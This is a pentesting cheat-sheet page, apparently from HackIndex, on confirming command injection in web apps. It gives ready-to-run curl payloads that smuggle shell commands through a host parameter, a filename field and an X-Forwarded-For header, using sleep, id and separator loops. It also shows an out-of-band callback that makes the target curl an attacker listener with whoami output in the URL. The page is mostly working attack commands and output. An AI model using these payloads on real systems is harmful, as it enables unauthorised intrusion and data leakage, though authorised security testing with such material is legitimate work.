Skip to content
HackIndex logo

HackIndex

Command Injection Detection

2 min read Apr 24, 2026

Command injection detection confirms whether user input reaches an OS command execution context. Target parameters that pass values to system commands — ping, host, nslookup, convert, zip, curl, and similar utility calls. These often appear in network diagnostic tools, file converters, image processors, and search features. Confirmed injection moves to command injection bypasses and then reverse shell delivery.

Time-Based Detection

Sleep-based probes are the safest way to confirm command injection without reading output. A delay matching the sleep value confirms execution:

┌──(kali㉿kali)-[~]
└─$ time curl -sk "http://$TARGET_IP:$PORT/ping.php?host=127.0.0.1%3Bsleep+5" 
real    0m5.132s

Test all common command separators — different systems and filter configurations accept different ones:

┌──(kali㉿kali)-[~]
└─$ for sep in '%3B' '%7C' '%26%26' '%0A' '%60' '$('; do echo -n "sep $sep: "; time curl -sk "http://$TARGET_IP:$PORT/ping.php?host=127.0.0.1${sep}sleep+3" -o /dev/null 2>&1 | grep real; done 
sep %3B: real 0m3.12s
sep %7C: real 0m0.08s

Separator reference: %3B is ;, %7C is |, %26%26 is &&, %0A is a newline, %60 is a backtick. The separator that causes a delay is the one that works — use it for all subsequent payloads.

Out-of-Band Detection

When the response does not change regardless of input, use an out-of-band callback to confirm execution. The target connects back to your listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT &
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping.php?host=127.0.0.1%3Bcurl+http://$LHOST:$LPORT/cmdi-test" 
GET /cmdi-test HTTP/1.1
Host: 10.10.14.5:4444

An incoming request on your listener confirms blind command injection — the target executed curl and connected to you. Also useful for confirming what user the command runs as by including whoami output in the callback URL:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping.php?host=127.0.0.1%3Bcurl+http://$LHOST:$LPORT/$(whoami)" 
GET /www-data HTTP/1.1

In-Band Detection

When the application reflects command output, simple injection without encoding is enough to confirm:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping.php?host=127.0.0.1;id" | grep -iE 'uid|root|www-data' 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

POST Parameter and Header Testing

Command injection also appears in POST parameters, filenames, and HTTP headers processed by the application:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/convert -d 'filename=test.pdf;sleep+5' && echo 'delayed'
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/ -H 'X-Forwarded-For: 127.0.0.1;sleep 5' && echo 'delayed'

References